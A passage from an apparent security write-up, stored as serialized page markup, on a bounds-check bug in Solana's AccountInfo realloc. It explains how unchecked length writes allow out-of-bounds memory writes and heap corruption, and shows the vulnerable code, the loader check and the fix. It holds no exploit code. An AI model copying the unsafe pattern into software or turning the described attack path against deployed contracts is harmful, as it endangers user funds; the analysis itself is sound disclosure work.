[u8]",{"type":29,"value":16140}," - a ",{"type":24,"tag":2655,"props":16142,"children":16143},{},[16144],{"type":29,"value":16145},"pointer",{"type":29,"value":16147}," to the ",{"type":24,"tag":2655,"props":16149,"children":16150},{},[16151],{"type":29,"value":16152},"slice reference",{"type":29,"value":16154},". From here, we turn the pointer into a ",{"type":24,"tag":32,"props":16156,"children":16158},{"className":16157},[],[16159],{"type":29,"value":16160},"*const u64",{"type":29,"value":16162}," pointer and then offset by 1 ",{"type":24,"tag":32,"props":16164,"children":16166},{"className":16165},[],[16167],{"type":29,"value":7789},{"type":29,"value":16169}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":24,"tag":25,"props":16171,"children":16172},{},[16173,16175,16180,16182,16187,16189,16194,16196,16201,16203,16209],{"type":29,"value":16174},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":24,"tag":2033,"props":16176,"children":16178},{"href":16177},"#Towards-safer-unsafe",[16179],{"type":29,"value":15848},{"type":29,"value":16181}," too, I promise. In summary, we're writing the new length as a ",{"type":24,"tag":32,"props":16183,"children":16185},{"className":16184},[],[16186],{"type":29,"value":7789},{"type":29,"value":16188}," to the region starting 8 bytes from the start of the slice ",{"type":24,"tag":2655,"props":16190,"children":16191},{},[16192],{"type":29,"value":16193},"reference",{"type":29,"value":16195}," (the ",{"type":24,"tag":32,"props":16197,"children":16199},{"className":16198},[],[16200],{"type":29,"value":15202},{"type":29,"value":16202},").So, what does ",{"type":24,"tag":32,"props":16204,"children":16206},{"className":16205},[],[16207],{"type":29,"value":16208},"&[T]",{"type":29,"value":16210}," look like in Rust?",{"type":24,"tag":25,"props":16212,"children":16213},{},[16214,16216,16223,16225,16238,16240,16246],{"type":29,"value":16215},"According to ",{"type":24,"tag":2033,"props":16217,"children":16220},{"href":16218,"rel":16219},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[2037],[16221],{"type":29,"value":16222},"the reference",{"type":29,"value":16224},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":24,"tag":2033,"props":16226,"children":16229},{"href":16227,"rel":16228},"https://doc.rust-lang.org/reference/type-layout.html",[2037],[16230,16232,16236],{"type":29,"value":16231},"\"Type layout can be changed with each compilation. ",{"type":24,"tag":83,"props":16233,"children":16234},{},[16235],{"type":29,"value":509},{"type":29,"value":16237}," we only document what is guaranteed today\"",{"type":29,"value":16239},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":24,"tag":32,"props":16241,"children":16243},{"className":16242},[],[16244],{"type":29,"value":16245},"rustc",{"type":29,"value":16247},", the layout is a data pointer followed by the size; essentially the same as:",{"type":24,"tag":73,"props":16249,"children":16252},{"className":16250,"code":16251,"language":2891,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[16253],{"type":24,"tag":32,"props":16254,"children":16255},{"__ignoreMap":7},[16256,16264,16276,16293,16306],{"type":24,"tag":83,"props":16257,"children":16258},{"class":85,"line":86},[16259],{"type":24,"tag":83,"props":16260,"children":16261},{"style":2735},[16262],{"type":29,"value":16263},"// C language\n",{"type":24,"tag":83,"props":16265,"children":16266},{"class":85,"line":113},[16267,16271],{"type":24,"tag":83,"props":16268,"children":16269},{"style":90},[16270],{"type":29,"value":9148},{"type":24,"tag":83,"props":16272,"children":16273},{"style":107},[16274],{"type":29,"value":16275}," slice_ref {\n",{"type":24,"tag":83,"props":16277,"children":16278},{"class":85,"line":128},[16279,16284,16288],{"type":24,"tag":83,"props":16280,"children":16281},{"style":90},[16282],{"type":29,"value":16283},"    void",{"type":24,"tag":83,"props":16285,"children":16286},{"style":143},[16287],{"type":29,"value":4315},{"type":24,"tag":83,"props":16289,"children":16290},{"style":107},[16291],{"type":29,"value":16292}," ptr;\n",{"type":24,"tag":83,"props":16294,"children":16295},{"class":85,"line":183},[16296,16301],{"type":24,"tag":83,"props":16297,"children":16298},{"style":90},[16299],{"type":29,"value":16300},"    size_t",{"type":24,"tag":83,"props":16302,"children":16303},{"style":107},[16304],{"type":29,"value":16305}," len;\n",{"type":24,"tag":83,"props":16307,"children":16308},{"class":85,"line":203},[16309],{"type":24,"tag":83,"props":16310,"children":16311},{"style":107},[16312],{"type":29,"value":1071},{"type":24,"tag":25,"props":16314,"children":16315},{},[16316],{"type":29,"value":16317},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":24,"tag":63,"props":16319,"children":16320},{},[16321,16326,16344],{"type":24,"tag":67,"props":16322,"children":16323},{},[16324],{"type":29,"value":16325},"Slices are laid out in the precise manner described",{"type":24,"tag":67,"props":16327,"children":16328},{},[16329,16331,16337,16339],{"type":29,"value":16330},"Pointers and ",{"type":24,"tag":32,"props":16332,"children":16334},{"className":16333},[],[16335],{"type":29,"value":16336},"usize",{"type":29,"value":16338}," are the same width as ",{"type":24,"tag":32,"props":16340,"children":16342},{"className":16341},[],[16343],{"type":29,"value":7789},{"type":24,"tag":67,"props":16345,"children":16346},{},[16347,16349,16354],{"type":29,"value":16348},"The ",{"type":24,"tag":32,"props":16350,"children":16352},{"className":16351},[],[16353],{"type":29,"value":15243},{"type":29,"value":16355}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":24,"tag":25,"props":16357,"children":16358},{},[16359,16361,16366,16368,16374,16376,16381,16383,16389,16391,16396,16398,16408],{"type":29,"value":16360},"Assumption #2 is ",{"type":24,"tag":2655,"props":16362,"children":16363},{},[16364],{"type":29,"value":16365},"probably",{"type":29,"value":16367}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":24,"tag":32,"props":16369,"children":16371},{"className":16370},[],[16372],{"type":29,"value":16373},"borrow_mut",{"type":29,"value":16375}," of the ",{"type":24,"tag":32,"props":16377,"children":16379},{"className":16378},[],[16380],{"type":29,"value":15243},{"type":29,"value":16382}," (through ",{"type":24,"tag":32,"props":16384,"children":16386},{"className":16385},[],[16387],{"type":29,"value":16388},"AccountInfo::try_borrow_mut_data()",{"type":29,"value":16390},"), and ",{"type":24,"tag":32,"props":16392,"children":16394},{"className":16393},[],[16395],{"type":29,"value":15243},{"type":29,"value":16397}," is not usable between multiple threads",{"type":24,"tag":15213,"props":16399,"children":16400},{},[16401],{"type":24,"tag":2033,"props":16402,"children":16406},{"href":16403,"ariaDescribedBy":16404,"dataFootnoteRef":7,"id":16405},"#user-content-fn-sendsync",[15220],"user-content-fnref-sendsync",[16407],{"type":29,"value":2867},{"type":29,"value":16409},", so we already have exclusive access.",{"type":24,"tag":25,"props":16411,"children":16412},{},[16413,16415,16419],{"type":29,"value":16414},"A few more ",{"type":24,"tag":2655,"props":16416,"children":16417},{},[16418],{"type":29,"value":6854},{"type":29,"value":16420}," things of note, that could have gone badly but didn't:",{"type":24,"tag":16422,"props":16423,"children":16424},"ul",{},[16425,16467],{"type":24,"tag":67,"props":16426,"children":16427},{},[16428,16430,16436,16438,16443,16445,16450,16452,16457,16459,16465],{"type":29,"value":16429},"By reborrowing the pointer (the ",{"type":24,"tag":32,"props":16431,"children":16433},{"className":16432},[],[16434],{"type":29,"value":16435},"&mut *(\u003Cvalue of type *mut u64>)",{"type":29,"value":16437},"), we've created a reference with an ",{"type":24,"tag":2655,"props":16439,"children":16440},{},[16441],{"type":29,"value":16442},"unbounded lifetime",{"type":29,"value":16444},". Rust is free to infer ",{"type":24,"tag":2655,"props":16446,"children":16447},{},[16448],{"type":29,"value":16449},"any",{"type":29,"value":16451}," lifetime for ",{"type":24,"tag":32,"props":16453,"children":16455},{"className":16454},[],[16456],{"type":29,"value":13694},{"type":29,"value":16458}," (including ",{"type":24,"tag":32,"props":16460,"children":16462},{"className":16461},[],[16463],{"type":29,"value":16464},"'static",{"type":29,"value":16466},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":24,"tag":67,"props":16468,"children":16469},{},[16470,16472,16478,16480,16485,16487,16492,16494,16499,16501,16506,16508,16513,16515,16520,16522,16528,16530,16535,16537,16542,16544,16549,16551,16556,16558,16563],{"type":29,"value":16471},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":24,"tag":32,"props":16473,"children":16475},{"className":16474},[],[16476],{"type":29,"value":16477},"RefMut",{"type":29,"value":16479}," returned from ",{"type":24,"tag":32,"props":16481,"children":16483},{"className":16482},[],[16484],{"type":29,"value":13619},{"type":29,"value":16486},", but the ",{"type":24,"tag":32,"props":16488,"children":16490},{"className":16489},[],[16491],{"type":29,"value":16477},{"type":29,"value":16493}," is dropped at the end of the statement. So, we now have in ",{"type":24,"tag":32,"props":16495,"children":16497},{"className":16496},[],[16498],{"type":29,"value":13694},{"type":29,"value":16500}," a ",{"type":24,"tag":2655,"props":16502,"children":16503},{},[16504],{"type":29,"value":16505},"mutable",{"type":29,"value":16507}," pointer to the ",{"type":24,"tag":32,"props":16509,"children":16511},{"className":16510},[],[16512],{"type":29,"value":15243},{"type":29,"value":16514},"'s data, but the ",{"type":24,"tag":32,"props":16516,"children":16518},{"className":16517},[],[16519],{"type":29,"value":15243},{"type":29,"value":16521}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":24,"tag":32,"props":16523,"children":16525},{"className":16524},[],[16526],{"type":29,"value":16527},"Mutex",{"type":29,"value":16529}," instead of a ",{"type":24,"tag":32,"props":16531,"children":16533},{"className":16532},[],[16534],{"type":29,"value":15243},{"type":29,"value":16536}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":24,"tag":32,"props":16538,"children":16540},{"className":16539},[],[16541],{"type":29,"value":13694},{"type":29,"value":16543}," and writing to it ",{"type":24,"tag":2655,"props":16545,"children":16546},{},[16547],{"type":29,"value":16548},"and succeed",{"type":29,"value":16550},", resulting in us writing while another reference is alive. However, since ",{"type":24,"tag":32,"props":16552,"children":16554},{"className":16553},[],[16555],{"type":29,"value":13694},{"type":29,"value":16557}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":24,"tag":32,"props":16559,"children":16561},{"className":16560},[],[16562],{"type":29,"value":839},{"type":29,"value":16564}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":24,"tag":25,"props":16566,"children":16567},{},[16568,16570,16575],{"type":29,"value":16569},"Ok, now that we've understood what the code is ",{"type":24,"tag":2655,"props":16571,"children":16572},{},[16573],{"type":29,"value":16574},"trying",{"type":29,"value":16576}," to do, let's try to break it, shall we?",{"type":24,"tag":51,"props":16578,"children":16580},{"id":16579},"what-can-go-wrong",[16581],{"type":29,"value":16582},"What can go wrong?",{"type":24,"tag":1818,"props":16584,"children":16586},{"id":16585},"contracts",[16587],{"type":29,"value":16588},"Contracts",{"type":24,"tag":25,"props":16590,"children":16591},{},[16592,16594,16599,16601,16606,16608,16613,16615,16620],{"type":29,"value":16593},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":24,"tag":32,"props":16595,"children":16597},{"className":16596},[],[16598],{"type":29,"value":13383},{"type":29,"value":16600},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":24,"tag":32,"props":16602,"children":16604},{"className":16603},[],[16605],{"type":29,"value":13383},{"type":29,"value":16607}," to some large size, past the end of the buffer of roughly ",{"type":24,"tag":32,"props":16609,"children":16611},{"className":16610},[],[16612],{"type":29,"value":15034},{"type":29,"value":16614}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":24,"tag":32,"props":16616,"children":16618},{"className":16617},[],[16619],{"type":29,"value":839},{"type":29,"value":16621}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":24,"tag":25,"props":16623,"children":16624},{},[16625,16627,16634],{"type":29,"value":16626},"There is ",{"type":24,"tag":2033,"props":16628,"children":16631},{"href":16629,"rel":16630},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[2037],[16632],{"type":29,"value":16633},"a check",{"type":29,"value":16635}," by the BPF loader, however, and it boils down to:",{"type":24,"tag":73,"props":16637,"children":16639},{"className":2725,"code":16638,"language":2724,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[16640],{"type":24,"tag":32,"props":16641,"children":16642},{"__ignoreMap":7},[16643,16681,16711,16718,16751],{"type":24,"tag":83,"props":16644,"children":16645},{"class":85,"line":86},[16646,16650,16655,16659,16663,16667,16671,16676],{"type":24,"tag":83,"props":16647,"children":16648},{"style":117},[16649],{"type":29,"value":1094},{"type":24,"tag":83,"props":16651,"children":16652},{"style":137},[16653],{"type":29,"value":16654}," post_len",{"type":24,"tag":83,"props":16656,"children":16657},{"style":143},[16658],{"type":29,"value":161},{"type":24,"tag":83,"props":16660,"children":16661},{"style":101},[16662],{"type":29,"value":14035},{"type":24,"tag":83,"props":16664,"children":16665},{"style":107},[16666],{"type":29,"value":558},{"type":24,"tag":83,"props":16668,"children":16669},{"style":143},[16670],{"type":29,"value":4315},{"type":24,"tag":83,"props":16672,"children":16673},{"style":137},[16674],{"type":29,"value":16675},"pre_len",{"type":24,"tag":83,"props":16677,"children":16678},{"style":107},[16679],{"type":29,"value":16680},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":24,"tag":83,"props":16682,"children":16683},{"class":85,"line":113},[16684,16689,16693,16697,16702,16706],{"type":24,"tag":83,"props":16685,"children":16686},{"style":143},[16687],{"type":29,"value":16688},"    ||",{"type":24,"tag":83,"props":16690,"children":16691},{"style":137},[16692],{"type":29,"value":16654},{"type":24,"tag":83,"props":16694,"children":16695},{"style":143},[16696],{"type":29,"value":242},{"type":24,"tag":83,"props":16698,"children":16699},{"style":107},[16700],{"type":29,"value":16701}," MAX_PERMITTED_DATA_LENGTH ",{"type":24,"tag":83,"props":16703,"children":16704},{"style":90},[16705],{"type":29,"value":8586},{"type":24,"tag":83,"props":16707,"children":16708},{"style":3163},[16709],{"type":29,"value":16710}," usize\n",{"type":24,"tag":83,"props":16712,"children":16713},{"class":85,"line":128},[16714],{"type":24,"tag":83,"props":16715,"children":16716},{"style":107},[16717],{"type":29,"value":10628},{"type":24,"tag":83,"props":16719,"children":16720},{"class":85,"line":183},[16721,16726,16730,16734,16738,16742,16747],{"type":24,"tag":83,"props":16722,"children":16723},{"style":117},[16724],{"type":29,"value":16725},"    return",{"type":24,"tag":83,"props":16727,"children":16728},{"style":3163},[16729],{"type":29,"value":15487},{"type":24,"tag":83,"props":16731,"children":16732},{"style":107},[16733],{"type":29,"value":558},{"type":24,"tag":83,"props":16735,"children":16736},{"style":3163},[16737],{"type":29,"value":15496},{"type":24,"tag":83,"props":16739,"children":16740},{"style":143},[16741],{"type":29,"value":3226},{"type":24,"tag":83,"props":16743,"children":16744},{"style":3163},[16745],{"type":29,"value":16746},"InvalidRealloc",{"type":24,"tag":83,"props":16748,"children":16749},{"style":107},[16750],{"type":29,"value":581},{"type":24,"tag":83,"props":16752,"children":16753},{"class":85,"line":203},[16754],{"type":24,"tag":83,"props":16755,"children":16756},{"style":107},[16757],{"type":29,"value":464},{"type":24,"tag":25,"props":16759,"children":16760},{},[16761,16763,16768,16770,16775],{"type":29,"value":16762},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":24,"tag":2655,"props":16764,"children":16765},{},[16766],{"type":29,"value":16767},"finishes",{"type":29,"value":16769}," execution. ",{"type":24,"tag":2655,"props":16771,"children":16772},{},[16773],{"type":29,"value":16774},"During",{"type":29,"value":16776}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":24,"tag":25,"props":16778,"children":16779},{},[16780,16782,16787,16789,16794,16796,16803],{"type":29,"value":16781},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":24,"tag":2655,"props":16783,"children":16784},{},[16785],{"type":29,"value":16786},"arbitrary",{"type":29,"value":16788}," memory access through a mistakenly-",{"type":24,"tag":32,"props":16790,"children":16792},{"className":16791},[],[16793],{"type":29,"value":13383},{"type":29,"value":16795},"'d account, this falls in the relm of some ",{"type":24,"tag":2033,"props":16797,"children":16800},{"href":16798,"rel":16799},"https://en.wikipedia.org/wiki/Buffer_overflow",[2037],[16801],{"type":29,"value":16802},"old-school pwning",{"type":29,"value":16804}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":24,"tag":1818,"props":16806,"children":16808},{"id":16807},"not-contracts",[16809],{"type":29,"value":16810},"Not-contracts?",{"type":24,"tag":25,"props":16812,"children":16813},{},[16814,16816,16821,16823,16833,16835,16847,16849,16856,16858,16863,16865,16870,16872,16885,16887,16892,16894,16899],{"type":29,"value":16815},"Remember when we said that all this code makes sense ",{"type":24,"tag":2655,"props":16817,"children":16818},{},[16819],{"type":29,"value":16820},"if the data points to the BPF loader's serialized buffer",{"type":29,"value":16822},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":24,"tag":2033,"props":16824,"children":16827},{"href":16825,"rel":16826},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[2037],[16828],{"type":24,"tag":32,"props":16829,"children":16831},{"className":16830},[],[16832],{"type":29,"value":14681},{"type":29,"value":16834}," are public, and so is its ",{"type":24,"tag":2033,"props":16836,"children":16839},{"href":16837,"rel":16838},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[2037],[16840,16845],{"type":24,"tag":32,"props":16841,"children":16843},{"className":16842},[],[16844],{"type":29,"value":14864},{"type":29,"value":16846}," method",{"type":29,"value":16848}," (which is ",{"type":24,"tag":2033,"props":16850,"children":16853},{"href":16851,"rel":16852},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[2037],[16854],{"type":29,"value":16855},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":29,"value":16857},"). The ",{"type":24,"tag":32,"props":16859,"children":16861},{"className":16860},[],[16862],{"type":29,"value":13383},{"type":29,"value":16864}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":24,"tag":32,"props":16866,"children":16868},{"className":16867},[],[16869],{"type":29,"value":14681},{"type":29,"value":16871}," ourselves - potentially through the ",{"type":24,"tag":2033,"props":16873,"children":16876},{"href":16874,"rel":16875},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[2037],[16877,16883],{"type":24,"tag":32,"props":16878,"children":16880},{"className":16879},[],[16881],{"type":29,"value":16882},"Account",{"type":29,"value":16884}," trait",{"type":29,"value":16886},", which is hardly documented at all and makes ",{"type":24,"tag":2655,"props":16888,"children":16889},{},[16890],{"type":29,"value":16891},"no",{"type":29,"value":16893}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":24,"tag":32,"props":16895,"children":16897},{"className":16896},[],[16898],{"type":29,"value":839},{"type":29,"value":16900}," buffer.",{"type":24,"tag":25,"props":16902,"children":16903},{},[16904,16906,16917,16919,16925,16927,16933,16935,16948,16950,16955,16957,16962,16964,16969,16971,16976,16978,16983,16985,16990],{"type":29,"value":16905},"One long arm of this is ",{"type":24,"tag":2033,"props":16907,"children":16910},{"href":16908,"rel":16909},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[2037],[16911],{"type":24,"tag":32,"props":16912,"children":16914},{"className":16913},[],[16915],{"type":29,"value":16916},"solana_sdk::account::Account",{"type":29,"value":16918}," - in the client SDK. It holds an account's data in a ",{"type":24,"tag":32,"props":16920,"children":16922},{"className":16921},[],[16923],{"type":29,"value":16924},"Vec\u003Cu8>",{"type":29,"value":16926},", and it implements ",{"type":24,"tag":32,"props":16928,"children":16930},{"className":16929},[],[16931],{"type":29,"value":16932},"solana_program::account_info::Account",{"type":29,"value":16934}," (the trait from earlier) - by ",{"type":24,"tag":2033,"props":16936,"children":16939},{"href":16937,"rel":16938},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[2037],[16940,16942],{"type":29,"value":16941},"returning a reference to the contents of that ",{"type":24,"tag":32,"props":16943,"children":16945},{"className":16944},[],[16946],{"type":29,"value":16947},"Vec",{"type":29,"value":16949},". So, ",{"type":24,"tag":32,"props":16951,"children":16953},{"className":16952},[],[16954],{"type":29,"value":13383},{"type":29,"value":16956}," writes the size into the 8 bytes right before ",{"type":24,"tag":32,"props":16958,"children":16960},{"className":16959},[],[16961],{"type":29,"value":839},{"type":29,"value":16963},"; ",{"type":24,"tag":32,"props":16965,"children":16967},{"className":16966},[],[16968],{"type":29,"value":839},{"type":29,"value":16970}," is the buffer of a ",{"type":24,"tag":32,"props":16972,"children":16974},{"className":16973},[],[16975],{"type":29,"value":16947},{"type":29,"value":16977},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":24,"tag":32,"props":16979,"children":16981},{"className":16980},[],[16982],{"type":29,"value":14681},{"type":29,"value":16984}," out of an SDK ",{"type":24,"tag":32,"props":16986,"children":16988},{"className":16987},[],[16989],{"type":29,"value":16882},{"type":29,"value":16991}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":24,"tag":51,"props":16993,"children":16995},{"id":16994},"remediation",[16996],{"type":29,"value":16997},"Remediation",{"type":24,"tag":25,"props":16999,"children":17000},{},[17001],{"type":29,"value":17002},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":24,"tag":25,"props":17004,"children":17005},{},[17006,17008,17013,17015,17020,17022,17033,17035,17040,17042,17049],{"type":29,"value":17007},"The sensible thing to do would be to store the initial size in the ",{"type":24,"tag":32,"props":17009,"children":17011},{"className":17010},[],[17012],{"type":29,"value":14681},{"type":29,"value":17014},"... except for the fact that the layout of ",{"type":24,"tag":32,"props":17016,"children":17018},{"className":17017},[],[17019],{"type":29,"value":14681},{"type":29,"value":17021}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":24,"tag":15213,"props":17023,"children":17024},{},[17025],{"type":24,"tag":2033,"props":17026,"children":17030},{"href":17027,"ariaDescribedBy":17028,"dataFootnoteRef":7,"id":17029},"#user-content-fn-layout",[15220],"user-content-fnref-layout",[17031],{"type":29,"value":17032},"3",{"type":29,"value":17034}," So, with changing ",{"type":24,"tag":32,"props":17036,"children":17038},{"className":17037},[],[17039],{"type":29,"value":14681},{"type":29,"value":17041}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":24,"tag":2033,"props":17043,"children":17046},{"href":17044,"rel":17045},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[2037],[17047],{"type":29,"value":17048},"this function",{"type":29,"value":195},{"type":24,"tag":73,"props":17051,"children":17053},{"className":2725,"code":17052,"language":2724,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[17054],{"type":24,"tag":32,"props":17055,"children":17056},{"__ignoreMap":7},[17057,17065,17073,17081,17089,17096,17104,17112,17160,17225,17291,17312],{"type":24,"tag":83,"props":17058,"children":17059},{"class":85,"line":86},[17060],{"type":24,"tag":83,"props":17061,"children":17062},{"style":2735},[17063],{"type":29,"value":17064},"/// Return the account's original data length when it was serialized for the\n",{"type":24,"tag":83,"props":17066,"children":17067},{"class":85,"line":113},[17068],{"type":24,"tag":83,"props":17069,"children":17070},{"style":2735},[17071],{"type":29,"value":17072},"/// current program invocation.\n",{"type":24,"tag":83,"props":17074,"children":17075},{"class":85,"line":128},[17076],{"type":24,"tag":83,"props":17077,"children":17078},{"style":2735},[17079],{"type":29,"value":17080},"///\n",{"type":24,"tag":83,"props":17082,"children":17083},{"class":85,"line":183},[17084],{"type":24,"tag":83,"props":17085,"children":17086},{"style":2735},[17087],{"type":29,"value":17088},"/// # Safety\n",{"type":24,"tag":83,"props":17090,"children":17091},{"class":85,"line":203},[17092],{"type":24,"tag":83,"props":17093,"children":17094},{"style":2735},[17095],{"type":29,"value":17080},{"type":24,"tag":83,"props":17097,"children":17098},{"class":85,"line":212},[17099],{"type":24,"tag":83,"props":17100,"children":17101},{"style":2735},[17102],{"type":29,"value":17103},"/// This method assumes that the original data length was serialized as a u32\n",{"type":24,"tag":83,"props":17105,"children":17106},{"class":85,"line":256},[17107],{"type":24,"tag":83,"props":17108,"children":17109},{"style":2735},[17110],{"type":29,"value":17111},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":24,"tag":83,"props":17113,"children":17114},{"class":85,"line":270},[17115,17119,17123,17127,17132,17136,17140,17144,17148,17152,17156],{"type":24,"tag":83,"props":17116,"children":17117},{"style":90},[17118],{"type":29,"value":13435},{"type":24,"tag":83,"props":17120,"children":17121},{"style":90},[17122],{"type":29,"value":14333},{"type":24,"tag":83,"props":17124,"children":17125},{"style":90},[17126],{"type":29,"value":13440},{"type":24,"tag":83,"props":17128,"children":17129},{"style":101},[17130],{"type":29,"value":17131}," original_data_len",{"type":24,"tag":83,"props":17133,"children":17134},{"style":107},[17135],{"type":29,"value":558},{"type":24,"tag":83,"props":17137,"children":17138},{"style":143},[17139],{"type":29,"value":2853},{"type":24,"tag":83,"props":17141,"children":17142},{"style":90},[17143],{"type":29,"value":13458},{"type":24,"tag":83,"props":17145,"children":17146},{"style":107},[17147],{"type":29,"value":633},{"type":24,"tag":83,"props":17149,"children":17150},{"style":143},[17151],{"type":29,"value":13502},{"type":24,"tag":83,"props":17153,"children":17154},{"style":3163},[17155],{"type":29,"value":13476},{"type":24,"tag":83,"props":17157,"children":17158},{"style":107},[17159],{"type":29,"value":125},{"type":24,"tag":83,"props":17161,"children":17162},{"class":85,"line":302},[17163,17167,17172,17176,17180,17184,17189,17193,17197,17201,17205,17209,17213,17217,17221],{"type":24,"tag":83,"props":17164,"children":17165},{"style":90},[17166],{"type":29,"value":2746},{"type":24,"tag":83,"props":17168,"children":17169},{"style":137},[17170],{"type":29,"value":17171}," key_ptr",{"type":24,"tag":83,"props":17173,"children":17174},{"style":143},[17175],{"type":29,"value":146},{"type":24,"tag":83,"props":17177,"children":17178},{"style":90},[17179],{"type":29,"value":13542},{"type":24,"tag":83,"props":17181,"children":17182},{"style":143},[17183],{"type":29,"value":161},{"type":24,"tag":83,"props":17185,"children":17186},{"style":107},[17187],{"type":29,"value":17188},"key ",{"type":24,"tag":83,"props":17190,"children":17191},{"style":90},[17192],{"type":29,"value":8586},{"type":24,"tag":83,"props":17194,"children":17195},{"style":143},[17196],{"type":29,"value":9563},{"type":24,"tag":83,"props":17198,"children":17199},{"style":90},[17200],{"type":29,"value":9401},{"type":24,"tag":83,"props":17202,"children":17203},{"style":137},[17204],{"type":29,"value":2782},{"type":24,"tag":83,"props":17206,"children":17207},{"style":90},[17208],{"type":29,"value":8572},{"type":24,"tag":83,"props":17210,"children":17211},{"style":143},[17212],{"type":29,"value":9563},{"type":24,"tag":83,"props":17214,"children":17215},{"style":90},[17216],{"type":29,"value":9401},{"type":24,"tag":83,"props":17218,"children":17219},{"style":3163},[17220],{"type":29,"value":14377},{"type":24,"tag":83,"props":17222,"children":17223},{"style":107},[17224],{"type":29,"value":321},{"type":24,"tag":83,"props":17226,"children":17227},{"class":85,"line":324},[17228,17232,17237,17241,17245,17249,17253,17257,17261,17266,17270,17274,17278,17282,17287],{"type":24,"tag":83,"props":17229,"children":17230},{"style":90},[17231],{"type":29,"value":2746},{"type":24,"tag":83,"props":17233,"children":17234},{"style":137},[17235],{"type":29,"value":17236}," original_data_len_ptr",{"type":24,"tag":83,"props":17238,"children":17239},{"style":143},[17240],{"type":29,"value":146},{"type":24,"tag":83,"props":17242,"children":17243},{"style":137},[17244],{"type":29,"value":17171},{"type":24,"tag":83,"props":17246,"children":17247},{"style":143},[17248],{"type":29,"value":161},{"type":24,"tag":83,"props":17250,"children":17251},{"style":101},[17252],{"type":29,"value":13646},{"type":24,"tag":83,"props":17254,"children":17255},{"style":107},[17256],{"type":29,"value":558},{"type":24,"tag":83,"props":17258,"children":17259},{"style":143},[17260],{"type":29,"value":4072},{"type":24,"tag":83,"props":17262,"children":17263},{"style":245},[17264],{"type":29,"value":17265},"4",{"type":24,"tag":83,"props":17267,"children":17268},{"style":107},[17269],{"type":29,"value":633},{"type":24,"tag":83,"props":17271,"children":17272},{"style":90},[17273],{"type":29,"value":8586},{"type":24,"tag":83,"props":17275,"children":17276},{"style":143},[17277],{"type":29,"value":9563},{"type":24,"tag":83,"props":17279,"children":17280},{"style":90},[17281],{"type":29,"value":9401},{"type":24,"tag":83,"props":17283,"children":17284},{"style":3163},[17285],{"type":29,"value":17286